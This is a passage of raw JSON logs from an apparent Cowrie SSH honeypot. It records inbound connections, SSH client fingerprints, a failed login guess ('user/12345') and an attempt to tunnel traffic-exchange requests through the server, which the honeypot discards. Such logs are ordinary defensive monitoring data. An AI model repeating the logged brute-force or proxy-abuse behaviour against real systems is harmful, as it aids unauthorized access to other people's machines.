application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Linux; Android 4.3; G630-U10) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Mobile Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=X1dYY0RlX155fkB%2BR0NqMg%3D%3DeiIPs1xqzxVE7TpjRiAY2AqmbV76dn6nQU1jrWNk%2Bw8aUMBIPxpXrj2JSqZ%2BWhZK4qdBcNXQ1TLDmjUdJIdSuOOqWuzfwqrjlB0ZZ%2FxYhhLtQYFulDLjH5T%2FJlQ2WQZxTaL5xpCLodZeJowfwNU2bJBtaxSQBv%2BB70uTumGP%2FNS%2BLHuE596pVjqe0DqLWbcHcrwU%2B2EfkvCkiIHPgbyXuUmHGZEgRtCzjiKpXN4Qs0JvBR5N4qBiasE3NKLP5bq00U6tHZvJ8WLoEjPvD%2Bqd2qGYuk329nPaZlGpi18b1shEMD0h6Rk%2FShmF%2BnkxBO5sAsnCsziMa5C5tBVze6vGKrV1TgiL0Esss3MVbUztP1D9AsJMzPJPKRbgaqM8n%2Bipbo9inDT5WgsA3cTprFsJgBQjONw7Tve8ni5BEwdsLm5IeAeksESZALFtLs3lnDNNsQD8mfNgEyvGzTCrrAmiuu3r%2BLu2V6RT5zCG1cbNkjkaYlKWKUUUlHgc5JMzytQ7mW23z4lE5guoUscsch6nfoqzIPlmYXdCEvFC%2F9ItP62AZ2VwLTo2iA23kfXP4uGLLlbuzSLVcR4AtUkZoHRi6FrKZRYMga%2BflNUsP7EwA6EEtegT4742xF3AY7ER4erwEPnJpbhmEns0QZNDTNKykd5zsOsOq0HKiB0Vh%2Bp3ubbiXCVTX01kzF4ljYS05g8WNsZS2ntbK8%2Fju%2BrNWfYTR6hF9MIMxkPOR1nXblEI4plltOO9IYRqZPt%2FNqegUmTiNytFjDdWpvEKh8ds1RN4jQT8f3xxkl7AAS%2BWWTx7oH8008bYsNw22h45yPYbWcJij3PRudDPF%2FvMxujlJ2S2SZR87%2ByZlSpxpGa7lu7sxTwq75Lx34%2F0tvvhVsVUc1wi4tcLr9qIIQqie5uknQXMEKQnfjncPKQN7%2FrfZJ4u9%2F51BrXMsJa6%2BaZ%2FrSgwBUhoT1y3Nj%2B38h8016A6pkVi76QtMv8pC02K1O%2FScpCQDwMedutId8nY2TRDrLJWo3EJNdt9HA2cUX%2B65T6OPRkjaT2t7f6mcF1FTKyjY%2FAyj0s%3D'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:01:14.138065Z","src_ip":"123.27.168.40","session":"2991c2db2dbf","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:01:14.141080Z","session":"2991c2db2dbf","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:01:14.392722Z","src_ip":"123.27.168.40","session":"2991c2db2dbf","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x8c\\x9eQ\\xee\\x01\\x97\\xe6\\x1c)\\xd8\\x90\\x966\\x984*\\xa0\\xe5\\x82\\x9a\\xf7}\\xfaB\\x14\\xa9\\x8dr\\\\\\xac\\xc4N \\xf4j\\xcau\\xc8\\x95\\x07\\x1a\\x16\\x84\\xea\\x00\\x11\\xdf\\xf9\\xb7\\xbcpC\\xe0J(e\\xf0\\xfb\\x08\\xf3\\xc1\\xea\\xd2\\xab\\xc7\\x00 ::\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\x8a\\x8a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08**\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)**\\x00\\x01\\x00\\x00\\x1d\\x00 \\x07\\n\\x97;4zm\\x924\\x13c\\x12z\\x08\\xa8\\x10\\xca\\xe8\\xf0[\\xe9\\xc1\\xd0\\xfc\\xe0\\x86\\x93oW\\xa16c\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n**\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02jj\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x8c\\x9eQ\\xee\\x01\\x97\\xe6\\x1c)\\xd8\\x90\\x966\\x984*\\xa0\\xe5\\x82\\x9a\\xf7}\\xfaB\\x14\\xa9\\x8dr\\\\\\xac\\xc4N \\xf4j\\xcau\\xc8\\x95\\x07\\x1a\\x16\\x84\\xea\\x00\\x11\\xdf\\xf9\\xb7\\xbcpC\\xe0J(e\\xf0\\xfb\\x08\\xf3\\xc1\\xea\\xd2\\xab\\xc7\\x00 ::\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\x8a\\x8a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08**\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)**\\x00\\x01\\x00\\x00\\x1d\\x00 \\x07\\n\\x97;4zm\\x924\\x13c\\x12z\\x08\\xa8\\x10\\xca\\xe8\\xf0[\\xe9\\xc1\\xd0\\xfc\\xe0\\x86\\x93oW\\xa16c\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n**\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02jj\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:01:14.396031Z","src_ip":"123.27.168.40","session":"2991c2db2dbf","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:01:14.676687Z","session":"2991c2db2dbf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":48744,"dst_ip":"10.17.0.5","dst_port":22,"session":"e35e4b4d3f94","protocol":"ssh","message":"New connection: 45.153.34.195:48744 (10.17.0.5:22) [session: e35e4b4d3f94]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:01:14.736764Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:01:14.750800Z","src_ip":"45.153.34.195","session":"e35e4b4d3f94","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:01:14.832074Z","src_ip":"45.153.34.195","session":"e35e4b4d3f94","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:01:14.927463Z","src_ip":"123.27.168.40","session":"2991c2db2dbf","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03Y\\x01mh\\x8c|!r_\\xacf\\x89to\\xbb\\x9d0*\")\\xc5\\xb3\\xf7\\xa0as\\xfdcG\\x8e\\xb6\\x9e \\xaf\\xdc\\xee\\xf3d\\xfcb&\\x15\\xec\\xf82M\\xc1,\\xa9\\xd7n,i\\x9a\\x14[\\x9b:\\xaf\\x019\\x1b\\x89]d\\x00\"JJ\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xaa\\xaa\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xca\\xca\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xca\\xca\\x00\\x01\\x00\\x00\\x1d\\x00 \\xfc\\xfb*f\\xdb\\xe3\\xde-\\xe6\\x9f\\x1cT\\xfd\\xf8\\xf9|hb\\xcbX\\x89i&\\xffd\\x08\\xbfx\\x0e\\x0e\\x04\\x05\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xaa\\xaa\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02**\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03Y\\x01mh\\x8c|!r_\\xacf\\x89to\\xbb\\x9d0*\")\\xc5\\xb3\\xf7\\xa0as\\xfdcG\\x8e\\xb6\\x9e \\xaf\\xdc\\xee\\xf3d\\xfcb&\\x15\\xec\\xf82M\\xc1,\\xa9\\xd7n,i\\x9a\\x14[\\x9b:\\xaf\\x019\\x1b\\x89]d\\x00\"JJ\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xaa\\xaa\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xca\\xca\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xca\\xca\\x00\\x01\\x00\\x00\\x1d\\x00 \\xfc\\xfb*f\\xdb\\xe3\\xde-\\xe6\\x9f\\x1cT\\xfd\\xf8\\xf9|hb\\xcbX\\x89i&\\xffd\\x08\\xbfx\\x0e\\x0e\\x04\\x05\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xaa\\xaa\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02**\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:01:14.930808Z","src_ip":"123.27.168.40","session":"2991c2db2dbf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"12345","message":"login attempt [user/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:01:15.163456Z","src_ip":"45.153.34.195","session":"e35e4b4d3f94","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.6","message":"Connection lost after 3.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:01:15.339437Z","src_ip":"123.27.168.40","session":"2991c2db2dbf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:01:16.246964Z","src_ip":"45.153.34.195","session":"e35e4b4d3f94","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"25.8","message":"Connection lost after 25.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:01:16.552601Z","src_ip":"91.92.40.36","session":"65d0d1674f7c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":33884,"dst_ip":"159.203.135.109","dst_port":22,"session":"3e771f899aaf","protocol":"ssh","message":"New connection: 91.92.40.36:33884 (159.203.135.109:22) [session: 3e771f899aaf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:01:16.667656Z"}
{"eventid":"cowrie.session.connect","src_ip":"201.17.146.173","src_port":55468,"dst_ip":"159.203.135.109","dst_port":22,"session":"61101492fcd2","protocol":"ssh","message":"New connection: 201.17.146.173:55468 (159.203.135.109:22) [session: 61101492fcd2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:01:17.232901Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:01:17.238353Z","src_ip":"201.17.146.173","session":"61101492fcd2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:01:17.375475Z","src_ip":"201.17.146.173","session":"61101492fcd2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":48760,"dst_ip":"10.17.0.5","dst_port":22,"session":"ce7cbead0dcc","protocol":"ssh","message":"New connection: 45.153.34.195:48760 (10.17.0.5:22) [session: ce7cbead0dcc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:01:17.711819Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:01:17.717992Z","src_ip":"45.153.34.195","session":"ce7cbead0dcc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-g